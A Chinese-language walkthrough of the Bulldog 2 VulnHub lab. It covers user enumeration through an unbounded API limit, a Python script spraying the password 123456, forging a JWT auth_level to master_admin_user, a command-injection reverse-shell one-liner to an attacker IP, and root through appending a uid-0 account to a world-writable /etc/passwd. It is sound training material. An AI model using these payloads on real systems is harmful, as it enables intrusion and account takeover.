
首先這大概是這幾個月來解題解到最心累的一題,雖說收穫不少,也更穩固對 Linux 環境下的基礎,在該題 Bulldog 2 的環境下僅有 80 Port 單純從單一網頁服務打穿到系統層,不經讓我想起 AIS3 2015 某堂課程講師所講的「必殺技!!單點突破,全面淪陷。」已經變成 Slogan 了。
目錄
環境設定
靶機下載: https://www.vulnhub.com/entry/bulldog-2,246/
由於經歷 Bulldog 1 的建立問題,關於 Bulldog 2 的佈署在 VMWate 下還是有一樣的問題,所以網路環境相同,在 VirtualBox 下使用 Bridged。
尋找靶機
開機之後直接顯示 IP 位置給你,就如下圖一樣。

隨後針對 VirtualBox 的網卡進行 nmap 掃描,使用指令 nmap 10.250.35.19
得到以下訊息,可見已經開啟的服務只有 80 Port。
Nmap scan report for 10.250.35.19
Host is up (0.0028s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE
80/tcp open http
服務探勘
80 port
乍看之下是個 CMS 服務,但註冊功能被鎖住了,登入功能嘗試以 SQL Injection 攻擊與弱密碼,也毫無作用。

接著發現有個 Users 頁面,裡面包含該網站上的註冊用戶資料,其中包含 username 使用者的帳號。

隨後就以帳號即密碼的思維嘗試在 Users 頁面底下的 9 筆資料,想說資料數少,手動複製貼上,還是無功而返。
接著回過頭來看一下該頁面進入點的文字敘述「Join one of the fastest growing social networks with over 15,000 members!」,意思是說會員不只 9 員阿。

果不其然,追蹤了一下 Requests 紀錄,找到一筆請求 http://10.250.35.19/users/getUsers?limit=9
,其中的 limit
就是控制資料返回的數量,直接留白就可以取回所有資料(在該處嘗試過 SQI Injection 攻擊無效)。
接著從 getUsers 得到 15760 比資料,如果要手動肯定會到天荒地老,所以決定寫個腳本來爆破,結果寫完、跑完,花了些許時間,還是沒動靜。
最後就想,這麼多組帳號密碼裡面,一定有人使用不安全的密碼吧,例如:123456 之類的,於是我就真的只寫針對密碼 123456 進行爆破的工具,如下。
#!/usr/bin/env python
# coding=utf-8
import requests
import json
url = "http://10.250.35.19/users/authenticate"
r = requests.session()
def login(name):
json_data = {"username": name, "password": "123456"}
r = requests.post(url, json=json_data)
if r.status_code != 401:
print("Meow!! {}".format(name))
with open("users.json") as f:
json_data = json.load(f)
for data in json_data:
login(data['username'])
print("Done.")
然後得到用戶 pejerrine
所使用的密碼為 123456
,並且可以登入成功。
原本以為可以取得編輯資料的權限,又或者是可以上傳大頭貼之類的功能,再藉機繞過掛馬之類的,結果又失去線索折騰了一陣子,明明已經登入了,也沒有 Cookie 之類的被設定,回頭看登入之後的頁面資訊發現有取得 JWT 的 Token 值,在猜想是不是要破解他?
果然透過線上工具解析該 JWT 可以直接得到明文,代表這是不安全的 Token 機制,正常來說應該是要加密的,畢竟是靶機,資訊如下。
{
alg: "HS256",
typ: "JWT"
}.
{
payload: {
name: "Jerrine Prince",
email: "[email protected]",
username: "pejerrine",
auth_level: "standard_user",
rand: 2
},
iat: 1580434501,
exp: 1581039301
}.
[signature]
看到 auth_level
選項,好像權限管理也直接建立在 JWT Token 上了,嘗試將其修改成 admin_user
之類的,但現在又遇到另一個問題,畢竟不是使用 Cookie 儲存,經過 Google 大神之後,原來還有用 Storage
的紀錄登入方式…。
在瀏覽器下也可以直接編輯,不像編輯 Cookie 還需要額外安裝外掛,然後在此好像也不需要做 JWT Encode/Decode 的處理,就可以直接編輯明文,嘗試將 auth_level 的 standard_user 編輯成 admin_user 但頁面依然沒有變化。
持續嘗試了幾種 admin 變形之後,決定找找其他線索,果然在檔案 main.js
上發現一點點蛛絲馬跡。
重新編輯成 master_admin_user
後,是得到了一個 Admin 的選項。

這邊直覺性的測試 SQL Injection 毫無反應,接著仔細看上頭的提示「Please authenticate with the Link+ CLI Tool to use Link+」也沒什麼想法。
接著直覺,是不是這邊的 input 存在 Command Injection? 如果是的話…也太不科學,到底有誰會這樣寫程式? 秉持著什麼都有可能的腦洞模式進行嘗試,結果還真的拿到 Reverse Shell,弱點存在於 Password 欄位,實際我也不知道如何執行的…。
$(python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.250.35.8",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')

Get Root to Win
接著都是起手式了,拿到 Reverse Shell 第一步就是要拿真正的 Shell,使用指令 python -c "import pty;pty.spawn('/bin/bash')"
然後開始探勘主機內部。
然後這邊發生了一個意外,我不小心 cd 到 /etc 底下,然後下了 ls 指令發現 passwd 是綠色的…??

接著查看權限得到:
node@bulldog2:/etc$ ls -lhs /etc/passwd
ls -lhs /etc/passwd
4.0K -rwxrwxrwx 1 root root 1.7K Jul 15 2018 /etc/passwd
這時候我恍然大悟,終於知道拉霸 777 的意思了xDDDDDDDD
既然可以改那就直接生個帳戶進去唄,發現可以使用 vim,但並不是很完整的交互模式…,只能用 echo 寫入了。
echo "mksyi:iamhacker:0:0:root:/root:/bin/bash" >> /etc/passwd
但果然太天真了,平常都提倡密碼放資料庫時要加密了,怎麼會想到密碼欄位直接放明文密碼…,所以當然使用 su mksyi
怎麼登也登不進去。
參考「Python 產生 Linux 的 /etc/shadow 加密格式密碼教學」一文,得到以下用法
python -c "import random,string,crypt; randomsalt = ''.join(random.sample(string.ascii_letters,8)); print crypt.crypt('iamhacker', '\$1\$%s\$' % randomsalt)"
> $1$zcEQARps$bDxdIZZNlmvjhpbHbKF1V1
接著在重新對 /etc/passwd 新增資料,然後就重複了好幾次,使用者數量不斷攀升,還是無法透過 su {user}
成功登入、切換使用者,一開始還以為是產生 HASH 的過程出現問題,直到查看 /etc/passwd 之後才知曉 $
被當成有意義的字元了,所以需要在每個 $
號上加上跳脫字元 \
。
python -c "import random,string,crypt; randomsalt = ''.join(random.sample(string.ascii_letters,8)); print crypt.crypt('hahaha', '\$1\$%s\$' % randomsalt)"
>>> $1$DRWvShCz$029W0TJDJ2YKapahOzi9r0
echo "yeeee:\$1\$DRWvShCz\$029W0TJDJ2YKapahOzi9r0:0:0:root:/root:/bin/bash" >> /etc/passwd
su yeeee
然後就拿到 Root 了,到這邊就真的被折騰到心力交瘁,一波多折個概念阿…

然後對於產生 Hash 也可以藉由 openssl 來產生,參考「How To Generate a /etc/passwd password hash via the Command Line on Linux」一文。
僅需要短短的一行,雖然前面也是一行啦(硬擠的)。
openssl passwd -1 -salt yoursalt password
學習重點
- 除了 Cookie/Session 以外的紀錄登入方式「Storage」。
- 尋找系統上重要的可讀可寫檔案
- /etc/passwd 檔案規則
- Linux 預設密碼的加密方式
- Linux 將
$
視為有意義的字元(變數),需要將其處理才能透過 echo 寫入檔案。